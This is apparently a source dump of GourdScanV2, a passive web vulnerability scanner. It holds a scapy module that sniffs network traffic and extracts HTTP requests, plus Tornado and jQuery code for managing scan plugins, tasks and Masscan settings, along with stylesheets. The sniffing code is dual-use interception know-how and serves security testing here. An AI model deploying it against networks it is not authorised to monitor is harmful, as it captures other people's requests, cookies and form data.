| from lib.out import error 15 | from lib import config 16 | 17 | 18 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 19 | 20 | 21 | def extract(data, out): 22 | try: 23 | methods = re.findall('(GET|POST) (.*) HTTP', data)[0] 24 | url = methods[1] 25 | method = methods[0] 26 | headers = {} 27 | if method == 'GET': 28 | head = data.split('\r\n')[1:] 29 | for h in head: 30 | if ': ' in h[2:]: 31 | headers[h.split(': ')[0]] = h.split(': ')[1] 32 | host = headers['Host'].replace(' ', '') 33 | uri = "http://%s%s" % (host, url) 34 | if out == 'true': 35 | print_request(method, host, url) 36 | content_deal(headers, host, method, postdata='', uri=uri, packet=data) 37 | 38 | elif method == 'POST': 39 | body = data.split('\r\n\r\n')[1] 40 | head = data.split('\r\n\r\n')[0].split('\r\n')[1:] 41 | for h in head: 42 | if ': ' in h[2:]: 43 | headers[h.split(': ')[0]] = h.split(': ')[1] 44 | host = headers['Host'].replace(' ', '') 45 | uri = "http://%s%s" % (host, url) 46 | if out == 'true': 47 | print_request(method, host, url) 48 | content_deal(headers, host, method, postdata=body, uri=uri, packet=data) 49 | 50 | except Exception, e: 51 | if 'url' in dir() and "method" in dir(): 52 | print "%s %s" % (method, uri) 53 | print "Http Error: " + str(e) 54 | 55 | 56 | def print_request(method, host, url): 57 | print "%s %s%s" % (method, host, url) 58 | 59 | 60 | def capture(x): 61 | out = config.load()['scapy_out'].lower() 62 | if config.load()['scapy_stat'].lower() == 'false': 63 | raise Exception('scapy', 'out') 64 | if 'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != 'HTTP': 65 | body = x.lastlayer().original 66 | http = extract(body, out) 67 | 68 | 69 | def main(): 70 | NIC = config.load()["scapy_network_card"] # network adapter name 71 | try: 72 | if NIC == 'all': 73 | sniff(filter="tcp", prn=lambda x: capture(x)) 74 | else: 75 | sniff(iface=NIC, filter="tcp", prn=lambda x: capture(x)) 76 | except Exception as e: 77 | error("scapy out!") 78 | conf = config.load() 79 | conf['scapy_stat'] = "false" 80 | config.update(conf) 81 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | tornado 3 | redis 4 | scapy 5 | pcapy -------------------------------------------------------------------------------- /web/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/__init__.py -------------------------------------------------------------------------------- /web/handlers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/handlers/__init__.py -------------------------------------------------------------------------------- /web/handlers/base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import tornado.web 5 | 6 | from lib import session 7 | 8 | 9 | def authenticated(method): 10 | def wrapper(self, *args, **kwargs): 11 | if not self.login: 12 | self.set_header("Location", "/login") 13 | self.set_status(302) 14 | return 15 | else: 16 | return method(self, *args, **kwargs) 17 | return wrapper 18 | 19 | 20 | class BaseHandler(tornado.web.RequestHandler): 21 | 22 | """ 23 | All the function need to login 24 | """ 25 | 26 | def initialize(self): 27 | cookie = self.get_cookie("ysrc_token") 28 | if cookie == "" or not session.check(cookie): 29 | self.login = False 30 | else: 31 | self.login = True 32 | -------------------------------------------------------------------------------- /web/static/buss/css/detail.css: -------------------------------------------------------------------------------- 1 | .portlet-body p { 2 | word-wrap: break-word; 3 | } 4 | 5 | .label-type { 6 | background-color: rgba(48, 208, 149, 0.6); 7 | } 8 | 9 | .label-server { 10 | background-color: rgba(141, 83, 185, 0.6); 11 | } 12 | 13 | .label-time { 14 | background-color: rgba(57, 208, 232, 0.6); 15 | } 16 | 17 | .btn-tag { 18 | background-color: rgba(34, 133, 204, 0.6) !important; 19 | } 20 | 21 | .tag-danger { 22 | background-color: rgba(183, 21, 21, 0.6); 23 | } 24 | 25 | .tag-high { 26 | background-color: rgba(230, 108, 61, 0.6); 27 | } 28 | 29 | .tag-middle { 30 | background-color: rgba(220, 175, 49, 0.6); 31 | } 32 | 33 | .tag-low { 34 | background-color: rgba(147, 48, 179, 0.6); 35 | } 36 | 37 | .tag-tip { 38 | background-color: rgba(57, 154, 64, 0.6); 39 | } 40 | 41 | .dropdown-menu { 42 | background-color: rgb(47, 62, 71) !important; 43 | } 44 | 45 | .tag { 46 | float: left; 47 | margin-right: 5px; 48 | margin-bottom: 5px; 49 | margin-left: 5px; 50 | } 51 | 52 | .taglink { 53 | color: white; 54 | } 55 | 56 | .portlet-body{ 57 | line-height: 2; 58 | padding-top: 0; 59 | background-color:rgb(68, 87, 99) !important; 60 | min-height: 84px !important; 61 | color:white 62 | } 63 | -------------------------------------------------------------------------------- /web/static/buss/css/main.css: -------------------------------------------------------------------------------- 1 | .text-muted { 2 | word-wrap: break-word; 3 | } 4 | 5 | .text-name { 6 | color: #333; 7 | } 8 | 9 | .text-time { 10 | color: rgba(57, 208, 177, 0.9); 11 | } 12 | 13 | .btn-tag { 14 | background-color: rgba(34, 133, 204, 0.6) !important; 15 | } 16 | 17 | select { 18 | color: #797979 !important; 19 | } 20 | 21 | .modal-body hr { 22 | border-top: 1px solid rgba(135, 135, 135, 0.6) !important; 23 | } 24 | 25 | .modal-header { 26 | border-bottom: 1px solid rgba(135, 135, 135, 0.6) !important; 27 | } 28 | 29 | .modal-footer { 30 | border-top: 1px solid rgba(135, 135, 135, 0.6) !important; 31 | } 32 | 33 | .modal-title { 34 | color:#333; 35 | } 36 | 37 | select option { 38 | background-color: #FFF; 39 | } 40 | 41 | .tag-right { 42 | margin-right: 26px; 43 | } 44 | 45 | #select-all{ 46 | position: absolute; 47 | top: 51%; 48 | left: 48%; 49 | width: 20px; 50 | height: 20px; 51 | } -------------------------------------------------------------------------------- /web/static/buss/css/plugin.css: -------------------------------------------------------------------------------- 1 | .portlet-body p { 2 | word-wrap: break-word; 3 | } 4 | 5 | #uploadjson div div input { 6 | margin-bottom: 15px; 7 | } 8 | 9 | #uploadjson div div textarea { 10 | margin-bottom: 15px; 11 | } 12 | 13 | #uploadjson div div select { 14 | margin-bottom: 15px; 15 | } 16 | 17 | .btn-tag { 18 | background-color: rgba(34, 133, 204, 0.6) !important; 19 | color: white; 20 | } 21 | 22 | .tag-danger { 23 | background-color: rgba(183, 21, 21, 0.6); 24 | float: right; 25 | margin: 5px 10px 0 0 26 | } 27 | 28 | .tag-high { 29 | background-color: rgba(230, 108, 61, 0.6); 30 | float: right; 31 | margin: 5px 10px 0 0 32 | } 33 | 34 | .tag-middle { 35 | background-color: rgba(220, 175, 49, 0.6); 36 | float: right; 37 | margin: 5px 10px 0 0 38 | } 39 | 40 | .tag-low { 41 | background-color: rgba(147, 48, 179, 0.6); 42 | float: right; 43 | margin: 5px 10px 0 0 44 | } 45 | 46 | .tag-tip { 47 | background-color: rgba(57, 154, 64, 0.6); 48 | float: right; 49 | margin: 5px 10px 0 0 50 | } 51 | 52 | .modal-header { 53 | border-bottom: 1px solid rgba(135, 135, 135, 0.6) !important; 54 | } 55 | 56 | .modal-footer { 57 | border-top: 1px solid rgba(135, 135, 135, 0.6) !important; 58 | } 59 | 60 | .modal-title { 61 | color: rgba(149, 149, 150, 0.6) 62 | } 63 | 64 | .portlet-body p span { 65 | color: rgba(255, 255, 255, 0.9) 66 | } 67 | 68 | .portlet-body p i { 69 | color: rgba(255, 255, 255, 0.9) 70 | } 71 | 72 | .dropify-wrapper { 73 | background-color: rgba(57, 76, 87, 0.6) !important; 74 | border: 0 !important; 75 | } 76 | 77 | .dropify-preview { 78 | background-color: rgba(57, 76, 87, 0.6) !important; 79 | } 80 | 81 | select option { 82 | background-color: rgba(0, 0, 0, 0.6) !important; 83 | } 84 | 85 | select { 86 | color: #999999 !important; 87 | } 88 | 89 | .jsoninfo .form-control { 90 | margin-bottom: 15px; 91 | } -------------------------------------------------------------------------------- /web/static/buss/css/search.css: -------------------------------------------------------------------------------- 1 | .zmdi-help-outline:before { 2 | position: absolute; 3 | top: -10px; 4 | left: 0px; 5 | } 6 | 7 | .card-box { 8 | background-color: rgba(0, 0, 0, 0.6); 9 | } 10 | 11 | .logo span { 12 | color: white !important; 13 | } 14 | 15 | .tip-twitter { 16 | max-width: 375px; 17 | } 18 | 19 | #filter { 20 | background-color: rgba(0, 0, 0, 0.6) 21 | } 22 | 23 | .btn-inverse { 24 | background-color: rgba(0, 0, 0, 0.6) !important; 25 | } 26 | 27 | .btn-inverse:hover { 28 | background-color: rgba(45, 45, 45, 0.6) !important; 29 | } 30 | 31 | .zmdi-help-outline { 32 | color: rgba(255, 255, 255, 0.6) !important; 33 | } 34 | 35 | .topbar-main { 36 | background-color: black !important; 37 | } 38 | 39 | .navbar-custom { 40 | background-color: rgba(0, 0, 0, 0.26) !important; 41 | } 42 | 43 | .submenu { 44 | border-color: rgba(0, 0, 0, 0.26) !important; 45 | background-color: rgba(0, 0, 0, 0.26) !important; 46 | } 47 | -------------------------------------------------------------------------------- /web/static/buss/css/task.css: -------------------------------------------------------------------------------- 1 | .portlet-body p { 2 | word-wrap: break-word; 3 | } 4 | 5 | .tag { 6 | color: #333; 7 | } 8 | 9 | .label-type { 10 | background-color: rgba(48, 208, 149, 0.6); 11 | } 12 | 13 | .label-server { 14 | background-color: rgba(141, 83, 185, 0.6); 15 | } 16 | 17 | .label-time { 18 | background-color: rgba(57, 208, 232, 0.6); 19 | } 20 | 21 | .label-ips { 22 | background-color: rgba(100, 100, 100, 0.6); 23 | } 24 | 25 | .btn-tag { 26 | background-color: rgba(34, 133, 204, 0.6) !important; 27 | } -------------------------------------------------------------------------------- /web/static/buss/js/config.js: -------------------------------------------------------------------------------- 1 | $('.update').click(function () { 2 | name = $(this).attr('inputname'); 3 | value = $(document.getElementsByName($(this).attr('inputname'))).val(); 4 | if (name == "Masscan") { 5 | value = $("#speed").val() + "|" + value; 6 | } 7 | $.post('/updateconfig', { 8 | name: name, 9 | value: value, 10 | conftype: location.search.replace('?', '').split('&')[0].split('=')[1] 11 | }, function (data) { 12 | if (data == 'success') { 13 | swal("更新成功", '', "success"); 14 | } 15 | else { 16 | swal("更新失败", '请检查数据完整性', "error"); 17 | } 18 | }) 19 | }); 20 | 21 | $('#mastag').change(function () { 22 | var name = "Masscan_Flag"; 23 | var conftype = "nascan"; 24 | var value = $(this).is(':checked') == true ? "1" : "0"; 25 | $.post('/updateconfig', {name: name, value: value, conftype: conftype}, function (data) { 26 | if (data == "patherr") { 27 | $("#mastag").click(); 28 | swal("切换失败", '未检测到Masscan,请先安装或先配置正确的路径', "error"); 29 | } 30 | else if (data == "fail") { 31 | swal("切换失败", '请检查数据完整性', "error"); 32 | } 33 | }) 34 | }); 35 | 36 | 37 | $('#icmptag').change(function () { 38 | var name = "Port_list_Flag"; 39 | var conftype = "nascan"; 40 | var value = $(this).is(':checked') == true ? "1" : "0"; 41 | $.post('/updateconfig', {name: name, value: value, conftype: conftype}, function (data) { 42 | if (data !== 'success') { 43 | swal("更新失败", '请检查数据完整性', "error"); 44 | } 45 | }) 46 | }); 47 | 48 | $('.zmdi-help-outline').poshytip({ 49 | className: 'tip-twitter', 50 | showTimeout: 1, 51 | alignTo: 'target', 52 | alignX: 'center', 53 | alignY: 'bottom', 54 | offsetY: 5, 55 | allowTipHover: false, 56 | fade: false, 57 | slide: false 58 | }); -------------------------------------------------------------------------------- /web/static/buss/js/plugin.js: -------------------------------------------------------------------------------- 1 | $('.dropify').dropify({ 2 | messages: { 3 | 'default': 'Drag and drop a file here or click', 4 | 'replace': 'Drag and drop or click to replace', 5 | 'remove': 'Remove', 6 | 'error': 'Ooops, something wrong appended.' 7 | }, 8 | error: { 9 | 'fileSize': 'The file size is too big (1M max).' 10 | } 11 | }); 12 | 13 | $('#field-type').change(function () { 14 | if ($(this).val() == 'json') { 15 | $('.uploadjson').css('display', ''); 16 | $('.uploadfile').css('display', 'none'); 17 | } else if ($(this).val() == 'script') { 18 | $('.uploadjson').css('display', 'none'); 19 | $('.uploadfile').css('display', ''); 20 | } else { 21 | $('.uploadjson').css('display', 'none'); 22 | $('.uploadfile').css('display', 'none'); 23 | } 24 | }); 25 | 26 | $('#add').click(function () { 27 | name = $('#field-name').val(); 28 | info = $('#field-info').val(); 29 | author = $('#field-author').val(); 30 | level = $('#field-risk').val(); 31 | vultype = $('#field-new-vultype').val() == '' ? $('#field-vultype').val() : $('#field-new-vultype').val(); 32 | type = $('#field-vultype').val(); 33 | methodurl = $('#field-url').val(); 34 | pdata = $('#field-data').val(); 35 | analyzing = $('#field-analyzing').val(); 36 | analyzingdata = $('#field-analyzingdata').val(); 37 | tag = $('#field-tag').val(); 38 | condition = $('#field-condition').val(); 39 | pluginurl = $('#field-pluginurl').val(); 40 | path = $('#field-upload').val(); 41 | filename = path.substring(path.lastIndexOf('\\')).split('.')[0]; 42 | $.ajaxFileUpload({ 43 | url: "/addplugin", 44 | secureuri: false, 45 | type: "POST", 46 | data: { 47 | name: name, 48 | info: info, 49 | author: author, 50 | level: level, 51 | vultype: vultype, 52 | type: type, 53 | methodurl: methodurl, 54 | pdata: pdata, 55 | analyzing: analyzing, 56 | analyzingdata: analyzingdata, 57 | tag: tag, 58 | keyword: condition, 59 | pluginurl: pluginurl 60 | }, 61 | dataType: "json", 62 | fileElementId: "field-upload", 63 | success: function (e) { 64 | }, 65 | error: function (e) { 66 | if (e.responseText == 'success') { 67 | swal("新增成功", '', "success"); 68 | $('.confirm').click(function () { 69 | $('#close').click(); 70 | location.reload(); 71 | }); 72 | 73 | } else { 74 | swal("新增失败", "请检查数据是否完整或是否存在特殊字符!", "error") 75 | } 76 | } 77 | }); 78 | 79 | }); 80 | 81 | $('.zmdi-close').click(function () { 82 | var oid = $(this).attr('id'); 83 | swal({ 84 | title: "确认删除?", 85 | text: "所有删除操作将不可逆,请谨慎操作", 86 | type: "warning", 87 | showCancelButton: true, 88 | confirmButtonColor: "#DD6B55", 89 | confirmButtonText: "确定", 90 | cancelButtonText: "取消", 91 | closeOnConfirm: false 92 | }, 93 | function () { 94 | $.post('/deleteplugin', {oid: oid}, function (e) { 95 | if (e == 'success') { 96 | swal("已删除", '', "success"); 97 | $('#' + oid).parent().parent().parent().parent().remove() 98 | } 99 | else { 100 | swal("删除失败", '', "error"); 101 | } 102 | }) 103 | 104 | }); 105 | }); -------------------------------------------------------------------------------- /web/static/buss/js/plugindetail.js: -------------------------------------------------------------------------------- 1 | function getQueryString(name) { 2 | var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); 3 | var r = window.location.search.substr(1).match(reg); 4 | if (r != null) return unescape(r[2]); 5 | return null; 6 | } 7 | 8 | 9 | jQuery('#datepicker').datepicker({ 10 | format: "mm/dd/yyyy", 11 | clearBtn: true, 12 | multidate: true, 13 | multidateSeparator: "," 14 | }); 15 | jQuery('#date-range').datepicker({ 16 | toggleActive: true 17 | }); 18 | function nextPage() { 19 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) + 1; 20 | location.href = '/taskdetail?taskid=' + getQueryString('taskid') + "&page=" + page; 21 | } 22 | function prePage() { 23 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) - 1; 24 | if (page > 0) { 25 | location.href = '/taskdetail?taskid=' + getQueryString('taskid') + "&page=" + page; 26 | } else { 27 | alert('已到达首页'); 28 | } 29 | } 30 | 31 | $('.taglink').click(function () { 32 | $(this).attr('href', "/taskdetail?taskid=" + getQueryString('taskid') + "&taskdate=" + $(this).attr('title')) 33 | 34 | }); -------------------------------------------------------------------------------- /web/static/buss/js/result.js: -------------------------------------------------------------------------------- 1 | function getQueryString(name) { 2 | var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); 3 | var r = window.location.search.substr(1).match(reg); 4 | if (r != null) return unescape(r[2]); 5 | return null; 6 | } 7 | 8 | 9 | $('#checkboxall').click(function () { 10 | if ($('#checkboxall').prop('checked') == true) { 11 | $('.itemcheck').prop('checked', true) 12 | } else { 13 | $('.itemcheck').prop('checked', false) 14 | } 15 | }); 16 | 17 | $('#checkboxrev').click(function () { 18 | $.each($('.itemcheck'), function (e) { 19 | if ($(this).prop('checked') == true) { 20 | $(this).prop('checked', false) 21 | } else { 22 | $(this).prop('checked', true) 23 | } 24 | }) 25 | }); 26 | 27 | $('#field-type').change(function () { 28 | type = $('#field-type').val(); 29 | risk = $('#field-risk').val(); 30 | search = $('#field-search').val(); 31 | $('#field-plugin').children().remove(); 32 | $.post('/getplugin', { 33 | type: type, 34 | risk: risk, 35 | search: search 36 | }, function (e) { 37 | $.each(e, function (i, n) { 38 | $('#field-plugin').append(""); 39 | }); 40 | $('#field-plugin').multiSelect('refresh'); 41 | }, "json") 42 | }); 43 | 44 | $('#field-risk').change(function () { 45 | type = $('#field-type').val(); 46 | risk = $('#field-risk').val(); 47 | search = $('#field-search').val(); 48 | $('#field-plugin').children().remove(); 49 | $.post('/getplugin', { 50 | type: type, 51 | risk: risk, 52 | search: search 53 | }, function (e) { 54 | $.each(e, function (i, n) { 55 | $('#field-plugin').append(""); 56 | }); 57 | $('#field-plugin').multiSelect('refresh'); 58 | }, "json") 59 | }); 60 | 61 | $('#field-search').bind('keyup', function (event) { 62 | if (event.keyCode == "13") { 63 | type = $('#field-type').val(); 64 | risk = $('#field-risk').val(); 65 | search = $('#field-search').val(); 66 | $('#field-plugin').children().remove(); 67 | $.post('/getplugin', { 68 | type: type, 69 | risk: risk, 70 | search: search 71 | }, function (e) { 72 | $.each(e, function (i, n) { 73 | $('#field-plugin').append(""); 74 | }); 75 | $('#field-plugin').multiSelect('refresh'); 76 | }, "json") 77 | } 78 | }); 79 | 80 | $('#savetask').click(function () { 81 | title = $('#field-name').val(); 82 | condition = getQueryString('q'); 83 | plugin = $('#field-plugin').val().join(","); 84 | plan = $('#field-plan').val(); 85 | isupdate = $('#field-isupdate').val() == "" ? "0" : $('#field-isupdate').val(); 86 | resultcheck = $('#resultcheck').prop('checked') 87 | var ids = []; 88 | if (!resultcheck) { 89 | $.each($('.itemcheck:checked'), function (i, n) { 90 | ids.push($(n).attr('infoid')) 91 | }); 92 | ids = ids.join(','); 93 | } 94 | $.post('/addtask', { 95 | title: title, 96 | condition: condition, 97 | plugin: plugin, 98 | ids: ids, 99 | plan: plan, 100 | isupdate: isupdate, 101 | resultcheck: resultcheck 102 | }, function (e) { 103 | if (e == 'success') { 104 | swal("新增成功", '', "success"); 105 | $('.confirm').click(function () { 106 | location.href = "/task"; 107 | }) 108 | } else { 109 | swal("新增失败", "请检查数据是否完整或是否选择扫描对象!", "error") 110 | } 111 | }) 112 | }); 113 | 114 | $('#field-plan').change(function () { 115 | if ($(this).val() == 0) { 116 | $('#field-isupdate').attr('disabled', 'disabled') 117 | } else { 118 | $('#field-isupdate').removeAttr('disabled') 119 | } 120 | }); 121 | 122 | $('#addnewitems').click(function () { 123 | ips = $('#field-newitems').val().split(','); 124 | for (i in ips) { 125 | $('#content').append("
\ 126 |
\ 127 | \ 128 | \ 129 | \ 130 |

\ 131 | " + ips[i] + "\ 132 |

\ 133 |
\ 134 |
\ 135 |
"); 136 | } 137 | $('#tips').html(""); 138 | $('#closenewitem').click(); 139 | }); 140 | 141 | $('.tag').click(function () { 142 | if ($(this).hasClass('zmdi-plus')) { 143 | $(this).removeClass('zmdi-plus').addClass('zmdi-minus') 144 | } else { 145 | $(this).removeClass('zmdi-minus').addClass('zmdi-plus') 146 | } 147 | }); 148 | 149 | $(document).ready(function () { 150 | if ($('#content').html().trim() == '') { 151 | if (getQueryString('q') == null) {//自定义搜索 152 | $('.wrapper .container').append("
请添加扫描目标!
") 153 | } else {//搜索无结果 154 | $('.wrapper .container').append("
无符合该条件的结果!
") 155 | } 156 | } 157 | }); 158 | 159 | $('#select-all').click(function(){ 160 | if($('#field-plugin').val()==null){ 161 | $('#field-plugin').multiSelect('select_all'); 162 | }else{ 163 | $('#field-plugin').multiSelect('deselect_all'); 164 | } 165 | }); 166 | 167 | 168 | -------------------------------------------------------------------------------- /web/static/buss/js/task.js: -------------------------------------------------------------------------------- 1 | function getQueryString(name) { 2 | var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); 3 | var r = window.location.search.substr(1).match(reg); 4 | if (r != null) return unescape(r[2]); 5 | return null; 6 | } 7 | 8 | $('.tag').click(function () { 9 | if ($(this).hasClass('zmdi-plus')) { 10 | $(this).removeClass('zmdi-plus').addClass('zmdi-minus') 11 | } else if ($(this).hasClass('zmdi-minus')) { 12 | $(this).removeClass('zmdi-minus').addClass('zmdi-plus') 13 | } 14 | }); 15 | $('.zmdi-close').click(function () { 16 | var oid = $(this).attr('id'); 17 | swal({ 18 | title: "确认删除?", 19 | text: "所有删除操作将不可逆,请谨慎操作", 20 | type: "warning", 21 | showCancelButton: true, 22 | confirmButtonColor: "#DD6B55", 23 | confirmButtonText: "确定", 24 | cancelButtonText: "取消", 25 | closeOnConfirm: false 26 | }, 27 | function () { 28 | $.post('/deletetask', {oid: oid}, function (e) { 29 | if (e == 'success') { 30 | swal("已删除", '', "success"); 31 | $('#' + oid).parent().parent().parent().parent().parent().remove() 32 | } 33 | else { 34 | swal("删除失败", '', "error"); 35 | } 36 | }) 37 | 38 | }); 39 | }); 40 | 41 | $('.recheck').click(function () { 42 | taskid = $(this).parents('h4').children().first().attr('href').split('=')[1]; 43 | swal({ 44 | title: "复测该任务", 45 | text: "立即重新执行该任务(历史数据不会删除)", 46 | type: "info", 47 | showCancelButton: true, 48 | closeOnConfirm: false, 49 | showLoaderOnConfirm: true 50 | }, 51 | function () { 52 | $.get('/taskrecheck', {taskid: taskid}, function (e) { 53 | if (e == 'success') { 54 | swal("操作成功", "该任务将重新执行!", "success") 55 | } else { 56 | swal("操作失败", "该任务非可复测类型,要求已经完成的非计划型任务", "error") 57 | } 58 | }) 59 | }); 60 | }); 61 | 62 | 63 | function nextPage() { 64 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) + 1; 65 | location.href = '/task?page=' + page; 66 | } 67 | function prePage() { 68 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) - 1; 69 | if (page > 0) { 70 | location.href = '/task?page=' + page; 71 | } 72 | else { 73 | alert('已到达首页'); 74 | } 75 | } -------------------------------------------------------------------------------- /web/static/css/elements.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/css/elements.css -------------------------------------------------------------------------------- /web/static/css/gourdscan.css: -------------------------------------------------------------------------------- 1 | body{ 2 | background-image: url(../images/big/bg4.jpg) !important; 3 | } 4 | 5 | html{ 6 | background: initial !important; 7 | } 8 | 9 | .config-label{ 10 | margin-bottom: 14px !important; 11 | } 12 | 13 | .config-input{ 14 | height: 30px !important; 15 | float: right; 16 | width: 55% !important; 17 | } 18 | .red{ 19 | color: red; 20 | } 21 | 22 | .a-danger{ 23 | color: #d9534f; 24 | } 25 | 26 | .a-success{ 27 | color: #5cb85c; 28 | } 29 | 30 | .a-info{ 31 | color: #5bc0de; 32 | } 33 | 34 | .a-warning{ 35 | color: #f0ad4e; 36 | } -------------------------------------------------------------------------------- /web/static/css/layout.css: -------------------------------------------------------------------------------- 1 | .fa { 2 | width:16px; 3 | height:16px; 4 | } -------------------------------------------------------------------------------- /web/static/css/main.css: -------------------------------------------------------------------------------- 1 | body{ 2 | background:#f5f6f7; 3 | } 4 | 5 | /* header */ 6 | 7 | #top{ 8 | background: #34495e; 9 | height:63px; 10 | color:#FFF; 11 | font-size:14px; 12 | } 13 | #header-logo{ 14 | margin-top:5px; 15 | padding-top:0; 16 | } 17 | #top nav a{ 18 | color:#FFF; 19 | font-size:16px; 20 | } 21 | #top nav a:hover{ 22 | text-decoration: none; 23 | color:#2bbfbd; 24 | background: #34495e; 25 | } 26 | #top nav ul li { 27 | margin-top:5px; 28 | } 29 | 30 | #nav-right { 31 | float:right; 32 | margin-right:10px; 33 | } 34 | 35 | #nav-right ul { 36 | margin-top:15px; 37 | list-style: none; 38 | } 39 | 40 | #nav-right ul li{ 41 | display: inline-block; 42 | margin:10px; 43 | } 44 | 45 | 46 | /* side nav */ 47 | 48 | #side-nav{ 49 | position: absolute; 50 | width:220px; 51 | left:0; 52 | top:63px; 53 | bottom: 0; 54 | background: #3f5469; 55 | font-size:16px; 56 | padding-bottom: 0; 57 | margin-bottom: 0; 58 | } 59 | 60 | #side-nav { 61 | list-style: none; 62 | } 63 | 64 | #side-nav li { 65 | display: block; 66 | color:#FFF; 67 | margin-top:20px; 68 | } 69 | #side-nav li i{ 70 | width:16px; 71 | height:16px; 72 | margin-right:10px; 73 | } 74 | 75 | #side-nav li a { 76 | display: block; 77 | color : #FFF; 78 | } 79 | 80 | #side-nav li a:hover { 81 | display: block; 82 | color : #2bbfbd; 83 | text-decoration: none; 84 | } 85 | 86 | /* content */ 87 | 88 | #page-wrapper{ 89 | position: absolute; 90 | top:63px; 91 | left:220px; 92 | 93 | } -------------------------------------------------------------------------------- /web/static/css/normalize.min.css: -------------------------------------------------------------------------------- 1 | button,hr,input{overflow:visible}audio,canvas,progress,video{display:inline-block}progress,sub,sup{vertical-align:baseline}html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0} menu,article,aside,details,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}[hidden],template{display:none}/*# sourceMappingURL=normalize.min.css.map */ -------------------------------------------------------------------------------- /web/static/css/responsive.css: -------------------------------------------------------------------------------- 1 | /* 2 | Template Name: Adminto Dashboard 3 | Author: CoderThemes 4 | Email: coderthemes@gmail.com 5 | File: Responsive 6 | */ 7 | @media only screen and (max-width: 6000px) and (min-width: 700px) { 8 | .wrapper.right-bar-enabled .right-bar { 9 | right: 0; 10 | z-index: 99; 11 | } 12 | .searchbar{ 13 | width:600px !important; 14 | } 15 | } 16 | @media (max-width: 1023px) { 17 | .button-menu-mobile { 18 | display: block !important; 19 | } 20 | 21 | } 22 | @media (min-width: 768px) and (max-width: 991px) { 23 | body { 24 | overflow-x: hidden; 25 | } 26 | } 27 | @media (max-width: 767px) { 28 | body { 29 | overflow-x: hidden; 30 | } 31 | .enlarged .left.side-menu { 32 | margin-left: -75px; 33 | } 34 | .topbar-left { 35 | width: 70px !important; 36 | } 37 | .content-page .content { 38 | margin-top: 95px; 39 | } 40 | .topbar .topbar-left { 41 | height: 75px; 42 | } 43 | .navbar-default { 44 | background-color: #ffffff; 45 | box-shadow: 0 0px 24px 0 rgba(0, 0, 0, 0.06), 0 1px 0px 0 rgba(0, 0, 0, 0.02); 46 | } 47 | .navbar-nav { 48 | margin: 0px; 49 | display: inline-block; 50 | } 51 | .navbar-nav li { 52 | display: inline-block; 53 | line-height: 1px; 54 | } 55 | .navbar-nav.navbar-right { 56 | float: right; 57 | } 58 | /*.notification-box {*/ 59 | /*display: inline;*/ 60 | /*}*/ 61 | .notification-box ul li a { 62 | line-height: 46px; 63 | } 64 | .notification-box .pulse { 65 | top: 5px; 66 | } 67 | /*.notification-box .dot {*/ 68 | /*top: -7px;*/ 69 | /*left: -3px;*/ 70 | /*}*/ 71 | #topnav .navbar-toggle { 72 | margin-right: 5px; 73 | } 74 | .navbar-nav .open .dropdown-menu { 75 | background-color: #ffffff; 76 | box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.26); 77 | left: auto; 78 | position: absolute; 79 | right: 0; 80 | } 81 | .navbar-nav .open .dropdown-menu li { 82 | display: block; 83 | } 84 | .content-page { 85 | margin-left: 0px !important; 86 | } 87 | .footer { 88 | left: 0px !important; 89 | } 90 | .mobile-sidebar { 91 | left: 0px; 92 | } 93 | .mobile-content { 94 | left: 250px; 95 | right: -250px; 96 | } 97 | .wrapper-page { 98 | width: 90%; 99 | } 100 | .dataTables_wrapper .col-xs-6 { 101 | width: 100%; 102 | text-align: left; 103 | } 104 | div#datatable-buttons_info { 105 | float: none; 106 | } 107 | } 108 | @media (max-width: 480px) { 109 | .side-menu { 110 | z-index: 10 !important; 111 | } 112 | 